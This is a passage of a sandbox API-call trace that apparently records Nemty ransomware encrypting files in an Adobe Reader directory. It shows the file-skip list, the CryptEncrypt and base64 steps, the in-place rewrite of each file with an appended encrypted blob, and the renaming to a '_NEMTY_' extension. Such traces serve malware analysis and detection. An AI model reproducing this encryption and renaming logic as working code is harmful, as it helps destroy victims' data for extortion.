lpString2="AUTOEXEC.BAT") returned 1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="ntuser.dat") returned -1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="desktop.ini") returned 1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="CONFIG.SYS") returned 1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="RECYCLER") returned -1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="BOOTSECT.BAK") returned 1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="bootmgr") returned 1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="programdata") returned -1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="appdata") returned 1 [0171.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUS", lpUsedDefaultChar=0x0) returned 11 [0171.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUS", lpUsedDefaultChar=0x0) returned 11 [0171.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUS", lpUsedDefaultChar=0x0) returned 11 [0171.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUS", lpUsedDefaultChar=0x0) returned 11 [0171.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.011] Sleep (dwMilliseconds=0x5) [0171.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x199546d0, dwHighDateTime=0x1d561e8)) [0171.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x199546d0, dwHighDateTime=0x1d561e8)) [0171.020] GetLastError () returned 0x0 [0171.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.021] GetLastError () returned 0x0 [0171.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.021] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0171.021] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0171.021] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0171.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0171.021] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="jNMuXhZGuq6aPYxu5V22a+shUBQ5Y/bYsOnPl4ve9p5nOvUhzWkvJttEzya3gRk0\r\nk5UbxrBNTieb1nV/S5n/oMuwY6ldSOiqUxys7KZnNvN1itItZ+5fgvOkTu3/zpOT\r\nwvenq0R+PJSP1xwnGl0nl4n+3tiw9AeYzKN/LTuTDqSmx/hzGQJ/xZu4gSzq2UWN\r\nOFYAgN3pgZGnP8q3+AlnDrBsLdOb9Tuy5eh9eNxcJX8aQv8Si38+ocICzmcJm4yY\r\n4srPZx59TWFTh8KNno4CwxZUKStYB8emb8zl7pzuAk0glFba8T80qKy+IwXqcjwH\r\nMUGGoomUgTXPe248r6I01A==\r\n", pcchString=0x653e91c) returned 1 [0171.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0171.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.021] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.021] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0171.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0171.021] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.021] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0171.023] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.023] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0171.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.023] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0171.024] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0171.024] CloseHandle (hObject=0x254) returned 1 [0171.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0171.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0171.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0171.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.024] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.rus._nemty_kgobjgd_")) returned 1 [0171.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0171.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.025] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.SKY", cAlternateFileName="")) returned 1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2=".") returned 1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="..") returned 1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="...") returned 1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="windows") returned -1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="$RECYCLE.BIN") returned 1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="rsa") returned -1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="NTDETECT.COM") returned -1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="ntldr") returned -1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="MSDOS.SYS") returned 1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="IO.SYS") returned 1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="boot.ini") returned 1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="boot.ini") returned 1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="ntuser.dat") returned -1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="desktop.ini") returned 1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="CONFIG.SYS") returned 1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="RECYCLER") returned -1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="BOOTSECT.BAK") returned 1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="bootmgr") returned 1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="programdata") returned -1 [0171.025] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="appdata") returned 1 [0171.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SKY", lpUsedDefaultChar=0x0) returned 11 [0171.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SKY", lpUsedDefaultChar=0x0) returned 11 [0171.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SKY", lpUsedDefaultChar=0x0) returned 11 [0171.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SKY", lpUsedDefaultChar=0x0) returned 11 [0171.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.026] Sleep (dwMilliseconds=0x5) [0171.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1997a830, dwHighDateTime=0x1d561e8)) [0171.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1997a830, dwHighDateTime=0x1d561e8)) [0171.036] GetLastError () returned 0x0 [0171.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.036] GetLastError () returned 0x0 [0171.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.036] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0171.036] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0171.036] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0171.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0171.037] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="DoppzjamDmT3DQa1yZzUBuP1MH/LJDPBCj2Lr9fnZy84vGhv9pYMDK5dfry+ZPwA\r\n98heiOc5xYbvg54z13yKCQXZOtD284lZoHUbYB122SRye2ix7vUy0EVG/IkNk+fD\r\nYtUJH8DfgW/si4lXYyYB0dJux3OpePSmPE91GtSM9tNKOxvPnAxpdDMnuMVSu2Tj\r\n1oBqpDx02oP/4ST5xX88A8rjoG2yu8umN7O0xB6qTaLLu1lg1IAojSCEd1eLzeDP\r\n74QohDQiWJpsLQR3LOgx0nzyep5Yto8R/O9tHnPEJAs/FJrYhZYPDAYhfZbJEYAJ\r\n3K3mx0ZzqdUnyMorvdBCqA==\r\n", pcchString=0x653e91c) returned 1 [0171.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0171.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.037] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.037] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0171.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0171.037] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.037] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0171.041] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.041] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0171.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.041] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0171.041] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0171.042] CloseHandle (hObject=0x254) returned 1 [0171.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0171.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0171.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0171.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.042] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.sky._nemty_kgobjgd_")) returned 1 [0171.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0171.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.043] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.SLV", cAlternateFileName="")) returned 1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2=".") returned 1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="..") returned 1 